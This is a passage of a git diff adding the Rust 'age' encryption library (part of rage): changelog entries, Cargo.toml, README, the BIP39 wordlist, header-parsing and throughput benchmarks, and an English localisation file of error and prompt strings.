format reader, found by fuzzing. The + reader also now correctly enforces a canonical armor marker and line lengths. +- Recipient stanzas with empty bodies are correctly parsed. + +## [0.2.0] - 2020-01-10 +### Added +- The library crate can be compiled to WASM. +- When encrypting to a passphrase, rage will generate a secure passphrase if the + user does not provide one. +- `SecretKey::to_string -> secrecy::SecretString`, which zeroizes most internal + state. (Zeroizing all internal state requires changes to the `bech32` crate.) +- `RecipientKey` implements `Display`, and can be converted to a string using + `recipient.to_string()`. +- `Decryptor::with_passphrase` constructor. +- `--max-work-factor WF` argument for rage and rage-mount, to enable overriding + the default maximum (which is around 16 seconds of work). + +### Changed +- `age::Encryptor::wrap_output` now takes an `age::Format` enum argument instead + of a boolean flag. +- Recipients are now parsed as filenames last instead of first. If a filename + happens to also be a valid recipient format, the file will be ignored. This + can be overridden by using an absolute file path. +- The filename `-` (hyphen) is now treated as an explicit request to read from + standard input or write to standard output when used as an input or output + filename. +- `-o -` will override protections for terminals when standard output is not + being piped elsewhere: output will not be truncated, and binary data will be + printed directly to the terminal. +- Armored encrypted output can now be printed to the terminal. Large files will + be truncated (to protect the terminal), corrupting the encryption. This can be + overriden with `-o -`. +- The `Decryptor::Passphrase` enum case has been altered to store an optional + maximum work factor. + +### Removed +- `SecretKey::to_str` (replaced by `SecretKey::to_string`). +- `RecipientKey::to_str` (replaced by `Display` implementation and + `recipient.to_string()`). + +### Fixed +- Corrected encoding of example recipients in manpages. +- Re-enabled the default identities file (#41). +- Fixed parser to reject encrypted OpenSSH keys if they contain invalid + `bcrypt_pbkdf` parameters. +- [Unix] `rage-keygen -o filename` now creates files with mode `600` (i.e. the + output file is no longer world-readable). +- Unknown recipient lines are now parsed and ignored during decryption, instead + of causing a hard failure. + +## [0.1.1] - 2019-12-29 +### Added +- Debian packaging support via `cargo deb`. See [docs/debian.md](../docs/debian.md) + for details. + +### Changed +- Moved the `num_traits` dependency behind the `unstable` feature flag. +- The `generate-docs` example now generates (the equivalent of ) `gzip -9` + manpages, for ease of use in Debian packaging. + +### Fixed +- Decrypted chunks inside the STREAM implementation are now zeroized after use. + +## [0.1.0] - 2019-12-27 + +Initial beta release! diff --git a/lib/rage/age/Cargo.toml b/lib/rage/age/Cargo.toml new file mode 100644 index 0000000..d7854f0 --- /dev/null +++ b/lib/rage/age/Cargo.toml @@ -0,0 +1,130 @@ +[package] +name = "age" +description = "[BETA] A simple, secure, and modern encryption library." +version = "0.11.1" +authors.workspace = true +repository.workspace = true +readme = "README.md" +keywords = ["rage", "encryption"] +categories = ["cryptography"] +license.workspace = true +edition.workspace = true +rust-version.workspace = true + +[badges] +maintenance = { status = "experimental" } + +[dependencies] +age-core.workspace = true + +# Dependencies exposed in a public API: +# (Breaking upgrades to these require a breaking upgrade to this crate.) +base64.workspace = true +chacha20poly1305.workspace = true +hmac.workspace = true + +rand.workspace = true + +# OpenSSH-specific dependencies: +# - RSAES-OAEP from RFC 8017 with SHA-256 and MGF1 +#rsa = { version = "0.9", default-features = false, optional = true } + +# - Conversion of public keys from Ed25519 to X25519 +#curve25519-dalek = { git = "https://github.com/dalek-cryptography/curve25519-dalek", tag = "curve25519-4.2.0", optional = true } +# Async I/O +futures = { version = "0.3", optional = true } +pin-project = "1" + +# Common CLI dependencies +pinentry = { workspace = true, optional = true } + +# Dependencies used internally: +# (Breaking upgrades to these are usually backwards-compatible, but check MSRVs.) +bech32.workspace = true +cookie-factory.workspace = true + +lazy_static.workspace = true +nom.workspace = true + +scrypt.workspace = true +sha2.workspace = true +subtle.workspace = true +x25519-dalek.workspace = true +zeroize.workspace = true + +# OpenSSH-specific dependencies: +# - RSAES-OAEP from RFC 8017 with SHA-256 and MGF1 +#num-traits = { version = "0.2", optional = true } + +# - Encrypted keys +#aes = { version = "0.8", optional = true } +#aes-gcm = { version = "0.10", optional = true } +#bcrypt-pbkdf = { version = "0.10", optional = true } +#cbc = { version = "0.1", optional = true } +#cipher = { version = "0.4.3", features = ["alloc"], optional = true } +#ctr = { version = "0.9", optional = true } + +# scrypt Performance timer +web-sys = { version = "0.3", optional = true, features = ["Window", "Performance"]} + +# Async I/O +memchr = { version = "2.5", optional = true } + +# Common CLI dependencies +console = { version = "0.15", optional = true, default-features = false } +is-terminal = { version = "0.4", optional = true } +rpassword = { version = "7", optional = true } + +[target.'cfg(any(unix, windows))'.dependencies] +# Plugin management +which = { version = "4", optional = true } +wsl = { version = "0.1", optional = true } + +[dev-dependencies] +criterion = "0.5" +futures-test = "0.3" +hex = "0.4" + +proptest = "1" +test-case = "3" +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } + +[target.'cfg(unix)'.dev-dependencies] +pprof = { version = "0.13", features = ["criterion", "flamegraph"] } + +[target.'cfg(any(target_arch = "x86", target_arch = "x86_64"))'.dev-dependencies] +criterion-cycles-per-byte = "0.6" + +[features] +default = [] +armor = [] +async = ["futures", "memchr"] +cli-common = ["console", "is-terminal", "pinentry", "rpassword"] + +plugin = ["age-core/plugin", "which", "wsl"] +ssh = [ +] +unstable = ["age-core/unstable"] + +[lib] +bench = false + +[[test]] +name = "test_vectors" +required-features = ["ssh"] + +[[test]] +name = "testkit" +required-features = ["armor", "async"] + +[[bench]] +name = "parser" +harness = false + +[[bench]] +name = "throughput" +harness = false + +[package.metadata.docs.rs] +all-features = true +rustdoc-args = ["--cfg", "docsrs"] diff --git a/lib/rage/age/README.md b/lib/rage/age/README.md new file mode 100644 index 0000000..e3a4cff --- /dev/null +++ b/lib/rage/age/README.md @@ -0,0 +1,67 @@ +

The age logo, an wireframe of St. Peters dome in Rome, with the text: age, file encryption

+ +# age Rust library + +age is a simple, modern, and secure file encryption library. It features small +explicit keys, no config options, and UNIX-style composability. + +This crate provides a set of Rust APIs that can be used to build more complex +tools based on the age format. The primary consumers of these APIs are the +[`rage`](https://crates.io/crates/rage) CLI tools, which provide straightforward +encryption and decryption of files or streams (e.g. in shell scripts), as well +as additional features such as mounting an encrypted archive. + +The format specification is at [age-encryption.org/v1](https://age-encryption.org/v1). +The age format was designed by [@Benjojo](https://benjojo.co.uk/) and +[@FiloSottile](https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl). + +The reference interoperable Go implementation is available at +[filippo.io/age](https://filippo.io/age). + +## Usage + +Add this line to your `Cargo.toml`: + +``` +age = "0.11" +``` + +See the [documentation](https://docs.rs/age) for examples. + +### Feature flags + +- `armor` enables the `age::armor` module, which provides support for + ASCII-armored age files. + +- `async` enables asynchronous APIs for encryption and decryption. + +- `cli-common` enables common helper functions for building age CLI tools. + +- `ssh` enables the `age::ssh` module, which allows for reusing existing SSH key + files for age encryption. + +- `web-sys` enables calculating the work factor for passphrase encryption with the + [Performance timer](https://developer.mozilla.org/en-US/docs/Web/API/Performance) + via the `web-sys` crate, when compiling for a WebAssembly target such as + `wasm32-unknown-unknown`. This feature is ignored for the `wasm32-wasi` target, + which supports [`std::time::SystemTime`](https://doc.rust-lang.org/stable/std/time/struct.SystemTime.html#underlying-system-calls). + +- `unstable` enables in-development functionality. Anything behind this feature + flag has no stability or interoperability guarantees. + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age/assets/bip39-english.txt b/lib/rage/age/assets/bip39-english.txt new file mode 100644 index 0000000..942040e --- /dev/null +++ b/lib/rage/age/assets/bip39-english.txt @@ -0,0 +1,2048 @@ +abandon +ability +able +about +above +absent +absorb +abstract +absurd +abuse +access +accident +account +accuse +achieve +acid +acoustic +acquire +across +act +action +actor +actress +actual +adapt +add +addict +address +adjust +admit +adult +advance +advice +aerobic +affair +afford +afraid +again +age +agent +agree +ahead +aim +air +airport +aisle +alarm +album +alcohol +alert +alien +all +alley +allow +almost +alone +alpha +already +also +alter +always +amateur +amazing +among +amount +amused +analyst +anchor +ancient +anger +angle +angry +animal +ankle +announce +annual +another +answer +antenna +antique +anxiety +any +apart +apology +appear +apple +approve +april +arch +arctic +area +arena +argue +arm +armed +armor +army +around +arrange +arrest +arrive +arrow +art +artefact +artist +artwork +ask +aspect +assault +asset +assist +assume +asthma +athlete +atom +attack +attend +attitude +attract +auction +audit +august +aunt +author +auto +autumn +average +avocado +avoid +awake +aware +away +awesome +awful +awkward +axis +baby +bachelor +bacon +badge +bag +balance +balcony +ball +bamboo +banana +banner +bar +barely +bargain +barrel +base +basic +basket +battle +beach +bean +beauty +because +become +beef +before +begin +behave +behind +believe +below +belt +bench +benefit +best +betray +better +between +beyond +bicycle +bid +bike +bind +biology +bird +birth +bitter +black +blade +blame +blanket +blast +bleak +bless +blind +blood +blossom +blouse +blue +blur +blush +board +boat +body +boil +bomb +bone +bonus +book +boost +border +boring +borrow +boss +bottom +bounce +box +boy +bracket +brain +brand +brass +brave +bread +breeze +brick +bridge +brief +bright +bring +brisk +broccoli +broken +bronze +broom +brother +brown +brush +bubble +buddy +budget +buffalo +build +bulb +bulk +bullet +bundle +bunker +burden +burger +burst +bus +business +busy +butter +buyer +buzz +cabbage +cabin +cable +cactus +cage +cake +call +calm +camera +camp +can +canal +cancel +candy +cannon +canoe +canvas +canyon +capable +capital +captain +car +carbon +card +cargo +carpet +carry +cart +case +cash +casino +castle +casual +cat +catalog +catch +category +cattle +caught +cause +caution +cave +ceiling +celery +cement +census +century +cereal +certain +chair +chalk +champion +change +chaos +chapter +charge +chase +chat +cheap +check +cheese +chef +cherry +chest +chicken +chief +child +chimney +choice +choose +chronic +chuckle +chunk +churn +cigar +cinnamon +circle +citizen +city +civil +claim +clap +clarify +claw +clay +clean +clerk +clever +click +client +cliff +climb +clinic +clip +clock +clog +close +cloth +cloud +clown +club +clump +cluster +clutch +coach +coast +coconut +code +coffee +coil +coin +collect +color +column +combine +come +comfort +comic +common +company +concert +conduct +confirm +congress +connect +consider +control +convince +cook +cool +copper +copy +coral +core +corn +correct +cost +cotton +couch +country +couple +course +cousin +cover +coyote +crack +cradle +craft +cram +crane +crash +crater +crawl +crazy +cream +credit +creek +crew +cricket +crime +crisp +critic +crop +cross +crouch +crowd +crucial +cruel +cruise +crumble +crunch +crush +cry +crystal +cube +culture +cup +cupboard +curious +current +curtain +curve +cushion +custom +cute +cycle +dad +damage +damp +dance +danger +daring +dash +daughter +dawn +day +deal +debate +debris +decade +december +decide +decline +decorate +decrease +deer +defense +define +defy +degree +delay +deliver +demand +demise +denial +dentist +deny +depart +depend +deposit +depth +deputy +derive +describe +desert +design +desk +despair +destroy +detail +detect +develop +device +devote +diagram +dial +diamond +diary +dice +diesel +diet +differ +digital +dignity +dilemma +dinner +dinosaur +direct +dirt +disagree +discover +disease +dish +dismiss +disorder +display +distance +divert +divide +divorce +dizzy +doctor +document +dog +doll +dolphin +domain +donate +donkey +donor +door +dose +double +dove +draft +dragon +drama +drastic +draw +dream +dress +drift +drill +drink +drip +drive +drop +drum +dry +duck +dumb +dune +during +dust +dutch +duty +dwarf +dynamic +eager +eagle +early +earn +earth +easily +east +easy +echo +ecology +economy +edge +edit +educate +effort +egg +eight +either +elbow +elder +electric +elegant +element +elephant +elevator +elite +else +embark +embody +embrace +emerge +emotion +employ +empower +empty +enable +enact +end +endless +endorse +enemy +energy +enforce +engage +engine +enhance +enjoy +enlist +enough +enrich +enroll +ensure +enter +entire +entry +envelope +episode +equal +equip +era +erase +erode +erosion +error +erupt +escape +essay +essence +estate +eternal +ethics +evidence +evil +evoke +evolve +exact +example +excess +exchange +excite +exclude +excuse +execute +exercise +exhaust +exhibit +exile +exist +exit +exotic +expand +expect +expire +explain +expose +express +extend +extra +eye +eyebrow +fabric +face +faculty +fade +faint +faith +fall +false +fame +family +famous +fan +fancy +fantasy +farm +fashion +fat +fatal +father +fatigue +fault +favorite +feature +february +federal +fee +feed +feel +female +fence +festival +fetch +fever +few +fiber +fiction +field +figure +file +film +filter +final +find +fine +finger +finish +fire +firm +first +fiscal +fish +fit +fitness +fix +flag +flame +flash +flat +flavor +flee +flight +flip +float +flock +floor +flower +fluid +flush +fly +foam +focus +fog +foil +fold +follow +food +foot +force +forest +forget +fork +fortune +forum +forward +fossil +foster +found +fox +fragile +frame +frequent +fresh +friend +fringe +frog +front +frost +frown +frozen +fruit +fuel +fun +funny +furnace +fury +future +gadget +gain +galaxy +gallery +game +gap +garage +garbage +garden +garlic +garment +gas +gasp +gate +gather +gauge +gaze +general +genius +genre +gentle +genuine +gesture +ghost +giant +gift +giggle +ginger +giraffe +girl +give +glad +glance +glare +glass +glide +glimpse +globe +gloom +glory +glove +glow +glue +goat +goddess +gold +good +goose +gorilla +gospel +gossip +govern +gown +grab +grace +grain +grant +grape +grass +gravity +great +green +grid +grief +grit +grocery +group +grow +grunt +guard +guess +guide +guilt +guitar +gun +gym +habit +hair +half +hammer +hamster +hand +happy +harbor +hard +harsh +harvest +hat +have +hawk +hazard +head +health +heart +heavy +hedgehog +height +hello +helmet +help +hen +hero +hidden +high +hill +hint +hip +hire +history +hobby +hockey +hold +hole +holiday +hollow +home +honey +hood +hope +horn +horror +horse +hospital +host +hotel +hour +hover +hub +huge +human +humble +humor +hundred +hungry +hunt +hurdle +hurry +hurt +husband +hybrid +ice +icon +idea +identify +idle +ignore +ill +illegal +illness +image +imitate +immense +immune +impact +impose +improve +impulse +inch +include +income +increase +index +indicate +indoor +industry +infant +inflict +inform +inhale +inherit +initial +inject +injury +inmate +inner +innocent +input +inquiry +insane +insect +inside +inspire +install +intact +interest +into +invest +invite +involve +iron +island +isolate +issue +item +ivory +jacket +jaguar +jar +jazz +jealous +jeans +jelly +jewel +job +join +joke +journey +joy +judge +juice +jump +jungle +junior +junk +just +kangaroo +keen +keep +ketchup +key +kick +kid +kidney +kind +kingdom +kiss +kit +kitchen +kite +kitten +kiwi +knee +knife +knock +know +lab +label +labor +ladder +lady +lake +lamp +language +laptop +large +later +latin +laugh +laundry +lava +law +lawn +lawsuit +layer +lazy +leader +leaf +learn +leave +lecture +left +leg +legal +legend +leisure +lemon +lend +length +lens +leopard +lesson +letter +level +liar +liberty +library +license +life +lift +light +like +limb +limit +link +lion +liquid +list +little +live +lizard +load +loan +lobster +local +lock +logic +lonely +long +loop +lottery +loud +lounge +love +loyal +lucky +luggage +lumber +lunar +lunch +luxury +lyrics +machine +mad +magic +magnet +maid +mail +main +major +make +mammal +man +manage +mandate +mango +mansion +manual +maple +marble +march +margin +marine +market +marriage +mask +mass +master +match +material +math +matrix +matter +maximum +maze +meadow +mean +measure +meat +mechanic +medal +media +melody +melt +member +memory +mention +menu +mercy +merge +merit +merry +mesh +message +metal +method +middle +midnight +milk +million +mimic +mind +minimum +minor +minute +miracle +mirror +misery +miss +mistake +mix +mixed +mixture +mobile +model +modify +mom +moment +monitor +monkey +monster +month +moon +moral +more +morning +mosquito +mother +motion +motor +mountain +mouse +move +movie +much +muffin +mule +multiply +muscle +museum +mushroom +music +must +mutual +myself +mystery +myth +naive +name +napkin +narrow +nasty +nation +nature +near +neck +need +negative +neglect +neither +nephew +nerve +nest +net +network +neutral +never +news +next +nice +night +noble +noise +nominee +noodle +normal +north +nose +notable +note +nothing +notice +novel +now +nuclear +number +nurse +nut +oak +obey +object +oblige +obscure +observe +obtain +obvious +occur +ocean +october +odor +off +offer +office +often +oil +okay +old +olive +olympic +omit +once +one +onion +online +only +open +opera +opinion +oppose +option +orange +orbit +orchard +order +ordinary +organ +orient +original +orphan +ostrich +other +outdoor +outer +output +outside +oval +oven +over +own +owner +oxygen +oyster +ozone +pact +paddle +page +pair +palace +palm +panda +panel +panic +panther +paper +parade +parent +park +parrot +party +pass +patch +path +patient +patrol +pattern +pause +pave +payment +peace +peanut +pear +peasant +pelican +pen +penalty +pencil +people +pepper +perfect +permit +person +pet +phone +photo +phrase +physical +piano +picnic +picture +piece +pig +pigeon +pill +pilot +pink +pioneer +pipe +pistol +pitch +pizza +place +planet +plastic +plate +play +please +pledge +pluck +plug +plunge +poem +poet +point +polar +pole +police +pond +pony +pool +popular +portion +position +possible +post +potato +pottery +poverty +powder +power +practice +praise +predict +prefer +prepare +present +pretty +prevent +price +pride +primary +print +priority +prison +private +prize +problem +process +produce +profit +program +project +promote +proof +property +prosper +protect +proud +provide +public +pudding +pull +pulp +pulse +pumpkin +punch +pupil +puppy +purchase +purity +purpose +purse +push +put +puzzle +pyramid +quality +quantum +quarter +question +quick +quit +quiz +quote +rabbit +raccoon +race +rack +radar +radio +rail +rain +raise +rally +ramp +ranch +random +range +rapid +rare +rate +rather +raven +raw +razor +ready +real +reason +rebel +rebuild +recall +receive +recipe +record +recycle +reduce +reflect +reform +refuse +region +regret +regular +reject +relax +release +relief +rely +remain +remember +remind +remove +render +renew +rent +reopen +repair +repeat +replace +report +require +rescue +resemble +resist +resource +response +result +retire +retreat +return +reunion +reveal +review +reward +rhythm +rib +ribbon +rice +rich +ride +ridge +rifle +right +rigid +ring +riot +ripple +risk +ritual +rival +river +road +roast +robot +robust +rocket +romance +roof +rookie +room +rose +rotate +rough +round +route +royal +rubber +rude +rug +rule +run +runway +rural +sad +saddle +sadness +safe +sail +salad +salmon +salon +salt +salute +same +sample +sand +satisfy +satoshi +sauce +sausage +save +say +scale +scan +scare +scatter +scene +scheme +school +science +scissors +scorpion +scout +scrap +screen +script +scrub +sea +search +season +seat +second +secret +section +security +seed +seek +segment +select +sell +seminar +senior +sense +sentence +series +service +session +settle +setup +seven +shadow +shaft +shallow +share +shed +shell +sheriff +shield +shift +shine +ship +shiver +shock +shoe +shoot +shop +short +shoulder +shove +shrimp +shrug +shuffle +shy +sibling +sick +side +siege +sight +sign +silent +silk +silly +silver +similar +simple +since +sing +siren +sister +situate +six +size +skate +sketch +ski +skill +skin +skirt +skull +slab +slam +sleep +slender +slice +slide +slight +slim +slogan +slot +slow +slush +small +smart +smile +smoke +smooth +snack +snake +snap +sniff +snow +soap +soccer +social +sock +soda +soft +solar +soldier +solid +solution +solve +someone +song +soon +sorry +sort +soul +sound +soup +source +south +space +spare +spatial +spawn +speak +special +speed +spell +spend +sphere +spice +spider +spike +spin +spirit +split +spoil +sponsor +spoon +sport +spot +spray +spread +spring +spy +square +squeeze +squirrel +stable +stadium +staff +stage +stairs +stamp +stand +start +state +stay +steak +steel +stem +step +stereo +stick +still +sting +stock +stomach +stone +stool +story +stove +strategy +street +strike +strong +struggle +student +stuff +stumble +style +subject +submit +subway +success +such +sudden +suffer +sugar +suggest +suit +summer +sun +sunny +sunset +super +supply +supreme +sure +surface +surge +surprise +surround +survey +suspect +sustain +swallow +swamp +swap +swarm +swear +sweet +swift +swim +swing +switch +sword +symbol +symptom +syrup +system +table +tackle +tag +tail +talent +talk +tank +tape +target +task +taste +tattoo +taxi +teach +team +tell +ten +tenant +tennis +tent +term +test +text +thank +that +theme +then +theory +there +they +thing +this +thought +three +thrive +throw +thumb +thunder +ticket +tide +tiger +tilt +timber +time +tiny +tip +tired +tissue +title +toast +tobacco +today +toddler +toe +together +toilet +token +tomato +tomorrow +tone +tongue +tonight +tool +tooth +top +topic +topple +torch +tornado +tortoise +toss +total +tourist +toward +tower +town +toy +track +trade +traffic +tragic +train +transfer +trap +trash +travel +tray +treat +tree +trend +trial +tribe +trick +trigger +trim +trip +trophy +trouble +truck +true +truly +trumpet +trust +truth +try +tube +tuition +tumble +tuna +tunnel +turkey +turn +turtle +twelve +twenty +twice +twin +twist +two +type +typical +ugly +umbrella +unable +unaware +uncle +uncover +under +undo +unfair +unfold +unhappy +uniform +unique +unit +universe +unknown +unlock +until +unusual +unveil +update +upgrade +uphold +upon +upper +upset +urban +urge +usage +use +used +useful +useless +usual +utility +vacant +vacuum +vague +valid +valley +valve +van +vanish +vapor +various +vast +vault +vehicle +velvet +vendor +venture +venue +verb +verify +version +very +vessel +veteran +viable +vibrant +vicious +victory +video +view +village +vintage +violin +virtual +virus +visa +visit +visual +vital +vivid +vocal +voice +void +volcano +volume +vote +voyage +wage +wagon +wait +walk +wall +walnut +want +warfare +warm +warrior +wash +wasp +waste +water +wave +way +wealth +weapon +wear +weasel +weather +web +wedding +weekend +weird +welcome +west +wet +whale +what +wheat +wheel +when +where +whip +whisper +wide +width +wife +wild +will +win +window +wine +wing +wink +winner +winter +wire +wisdom +wise +wish +witness +wolf +woman +wonder +wood +wool +word +work +world +worry +worth +wrap +wreck +wrestle +wrist +write +wrong +yard +year +yellow +you +young +youth +zebra +zero +zone +zoo diff --git a/lib/rage/age/benches/parser.rs b/lib/rage/age/benches/parser.rs new file mode 100644 index 0000000..cea37c4 --- /dev/null +++ b/lib/rage/age/benches/parser.rs @@ -0,0 +1,43 @@ +use age::{x25519, Decryptor, Encryptor}; +use criterion::{criterion_group, criterion_main, BenchmarkId, Criterion, Throughput}; + +#[cfg(unix)] +use pprof::criterion::{Output, PProfProfiler}; + +use std::io::Write; + +fn bench(c: &mut Criterion) { + let recipients: Vec<_> = (0..10) + .map(|_| x25519::Identity::generate().to_public()) + .collect(); + let mut group = c.benchmark_group("header"); + + for count in 1..10 { + group.throughput(Throughput::Elements(count as u64)); + group.bench_function(BenchmarkId::new("parse", count), |b| { + let mut encrypted = vec![]; + let mut output = + Encryptor::with_recipients(recipients.iter().take(count).map(|r| r as _)) + .unwrap() + .wrap_output(&mut encrypted) + .unwrap(); + output.write_all(&[]).unwrap(); + output.finish().unwrap(); + + b.iter(|| Decryptor::new_buffered(&encrypted[..])) + }); + } + + group.finish(); +} + +#[cfg(unix)] +criterion_group!( + name = benches; + config = Criterion::default() + .with_profiler(PProfProfiler::new(100, Output::Flamegraph(None))); + targets = bench +); +#[cfg(not(unix))] +criterion_group!(benches, bench); +criterion_main!(benches); diff --git a/lib/rage/age/benches/throughput.rs b/lib/rage/age/benches/throughput.rs new file mode 100644 index 0000000..8c5c349 --- /dev/null +++ b/lib/rage/age/benches/throughput.rs @@ -0,0 +1,100 @@ +use age::{x25519, Decryptor, Encryptor}; +use criterion::{criterion_group, criterion_main, BenchmarkId, Criterion, Throughput}; + +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +use criterion_cycles_per_byte::CyclesPerByte; + +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +type Criterion_ = Criterion; + +#[cfg(not(any(target_arch = "x86", target_arch = "x86_64")))] +type Criterion_ = Criterion; + +#[cfg(any(target_arch = "x86", target_arch = "x86_64"))] +fn setup_criterion() -> Criterion_ { + Criterion::default().with_measurement(CyclesPerByte) +} + +#[cfg(not(any(target_arch = "x86", target_arch = "x86_64")))] +fn setup_criterion() -> Criterion_ { + Criterion::default() +} + +#[cfg(unix)] +use pprof::criterion::{Output, PProfProfiler}; + +use std::io::{self, Read, Write}; +use std::iter; + +const KB: usize = 1024; + +fn bench(c: &mut Criterion_) { + let identity = x25519::Identity::generate(); + let recipient = identity.to_public(); + let mut group = c.benchmark_group("age"); + + // Prepare buffers to use in the benchmarks. + let pt_buf = vec![7u8; 1024 * KB]; + let mut ct_buf = vec![]; + let mut out_buf = vec![0u8; 1024 * KB]; + + for &size in &[ + KB, + 4 * KB, + 16 * KB, + 64 * KB, + 128 * KB, + 256 * KB, + 500 * KB, + 1024 * KB, + ] { + group.throughput(Throughput::Bytes(size as u64)); + + group.bench_function(BenchmarkId::new("encrypt", size), |b| { + b.iter(|| { + let mut output = Encryptor::with_recipients(iter::once(&recipient as _)) + .unwrap() + .wrap_output(io::sink()) + .unwrap(); + output.write_all(&pt_buf[..size]).unwrap(); + output.finish().unwrap(); + }) + }); + + group.bench_function(BenchmarkId::new("decrypt", size), |b| { + let mut output = Encryptor::with_recipients(iter::once(&recipient as _)) + .unwrap() + .wrap_output(&mut ct_buf) + .unwrap(); + output.write_all(&pt_buf[..size]).unwrap(); + output.finish().unwrap(); + + b.iter(|| { + let decryptor = Decryptor::new_buffered(&ct_buf[..]).unwrap(); + let mut input = decryptor + .decrypt(iter::once(&identity as &dyn age::Identity)) + .unwrap(); + input.read_exact(&mut out_buf[..size]).unwrap(); + }); + + ct_buf.clear(); + }); + } + + group.finish(); +} + +#[cfg(unix)] +criterion_group!( + name = benches; + config = setup_criterion() + .with_profiler(PProfProfiler::new(100, Output::Flamegraph(None))); + targets = bench +); +#[cfg(not(unix))] +criterion_group!( + name = benches; + config = setup_criterion(); + targets = bench +); +criterion_main!(benches); diff --git a/lib/rage/age/i18n/en-US/age.ftl b/lib/rage/age/i18n/en-US/age.ftl new file mode 100644 index 0000000..f1b07ed --- /dev/null +++ b/lib/rage/age/i18n/en-US/age.ftl @@ -0,0 +1,196 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the age library crate + +## Terms (not to be localized) + +-age = age +-rage = rage + +-scrypt-recipient = scrypt::Recipient + +-openssh = OpenSSH +-ssh-keygen = ssh-keygen +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-fido-u2f = FIDO/U2F +-yubikeys = YubiKeys +-piv = PIV + +## CLI helpers + +cli-secret-input-required = Input is required +cli-secret-input-mismatch = Inputs do not match + +cli-passphrase-desc = Type passphrase (leave empty to autogenerate a secure one) +cli-passphrase-prompt = Passphrase +cli-passphrase-confirm = Confirm passphrase + +-flag-armor = -a/--armor +-flag-output = -o/--output +-output-stdout = -o - + +cli-truncated-tty = truncated; use a pipe, a redirect, or {-flag-output} to decrypt the entire file + +err-detected-binary = detected unprintable data; refusing to output to the terminal. +rec-detected-binary = Force with '{-output-stdout}'. + +err-deny-binary-output = refusing to output binary to the terminal. +rec-deny-binary-output = Did you mean to use {-flag-armor}? {rec-detected-binary} + +err-deny-overwrite-file = refusing to overwrite existing file '{$filename}'. + +err-invalid-filename = invalid filename '{$filename}'. + +err-missing-directory = directory '{$path}' does not exist. + +## Identity file errors + +err-failed-to-write-output = Failed to write to output: {$err} + +err-identity-file-contains-plugin = Identity file '{$filename}' contains identities for '{-age-plugin-}{$plugin_name}'. +rec-identity-file-contains-plugin = Try using '{-age-plugin-}{$plugin_name}' to convert this identity to a recipient. + +err-no-identities-in-file = No identities found in file '{$filename}'. +err-no-identities-in-stdin = No identities found in standard input. + +## Errors + +err-decryption-failed = Decryption failed + +err-excessive-work = Excessive work parameter for passphrase. +rec-excessive-work = Decryption would take around {$duration} seconds. + +err-header-invalid = Header is invalid + +err-header-mac-invalid = Header MAC is invalid + +err-incompatible-recipients-oneway = Cannot encrypt to a recipient with labels '{$labels}' alongside a recipient with no labels +err-incompatible-recipients-twoway = Cannot encrypt to a recipient with labels '{$left}' alongside a recipient with labels '{$right}' + +err-invalid-recipient-labels = The first recipient requires one or more invalid labels: '{$labels}' + +err-key-decryption = Failed to decrypt an encrypted key + +err-missing-recipients = Missing recipients. + +err-mixed-recipient-passphrase = {-scrypt-recipient} can't be used with other recipients. + +err-no-matching-keys = No matching keys found + +err-unknown-format = Unknown {-age} format. +rec-unknown-format = Have you tried upgrading to the latest version? + +err-missing-plugin = Could not find '{$plugin_name}' on the PATH. +rec-missing-plugin = Have you installed the plugin? + +err-plugin-identity = '{$plugin_name}' couldn't use an identity: {$message} +err-plugin-recipient = '{$plugin_name}' couldn't use recipient {$recipient}: {$message} + +err-plugin-died = '{$plugin_name}' unexpectedly died. +rec-plugin-died-1 = If you are developing a plugin, run with {$env_var} for more information. +rec-plugin-died-2 = Warning: this prints private encryption key material to standard error. + +err-plugin-multiple = Plugin returned multiple errors: + +err-read-identity-encrypted-without-passphrase = + Identity file '{$filename}' is encrypted with {-age} but not with a passphrase. +err-read-identity-not-found = Identity file not found: {$filename} + +err-read-invalid-recipient = Invalid recipient '{$recipient}'. + +err-read-invalid-recipients-file = + Recipients file '{$filename}' contains non-recipient data on line {$line_number}. + +err-read-missing-recipients-file = Recipients file not found: {$filename} + +err-read-multiple-stdin = Standard input can't be used for multiple purposes. + +err-read-rsa-modulus-too-large = + RSA Modulus Too Large + --------------------- + {-openssh} supports various RSA modulus sizes, but {-rage} only supports public + keys of at most {$max_size} bits, to prevent a Denial of Service (DoS) condition + when encrypting to untrusted public keys. + +err-read-rsa-modulus-too-small = RSA key size is too small. + +err-stream-last-chunk-empty = Last STREAM chunk is empty. Please report this, and/or try an older {-rage} version. + +## Encrypted identities + +encrypted-passphrase-prompt = Type passphrase for encrypted identity '{$filename}' + +encrypted-warn-no-match = Warning: encrypted identity file '{$filename}' didn't match file's recipients + +## Plugin identities + +plugin-waiting-on-binary = Waiting for {$binary_name}... + +## SSH identities + +ssh-passphrase-prompt = Type passphrase for {-openssh} key '{$filename}' + +ssh-unsupported-key = Unsupported SSH key: {$name} + +ssh-insecure-key-format = + Insecure Encrypted Key Format + ----------------------------- + Prior to {-openssh} version 7.8, if a password was set when generating a new + DSA, ECDSA, or RSA key, {-ssh-keygen} would encrypt the key using the encrypted + PEM format. This encryption format is insecure and should no longer be used. + + You can migrate your key to the encrypted SSH private key format (which has + been supported by {-openssh} since version 6.5, released in January 2014) by + changing its passphrase with the following command: + + {" "}{$change_passphrase} + + If you are using an {-openssh} version between 6.5 and 7.7 (such as the default + {-openssh} provided on Ubuntu 18.04 LTS), you can use the following command to + force keys to be generated using the new format: + + {" "}{$gen_new} + +ssh-unsupported-cipher = + Unsupported Cipher for Encrypted SSH Key + ---------------------------------------- + {-openssh} internally supports several different ciphers for encrypted keys, + but it has only ever directly generated a few of them. {-rage} supports all + ciphers that {-ssh-keygen} might generate, and is being updated on a + case-by-case basis with support for non-standard ciphers. Your key uses a + currently-unsupported cipher 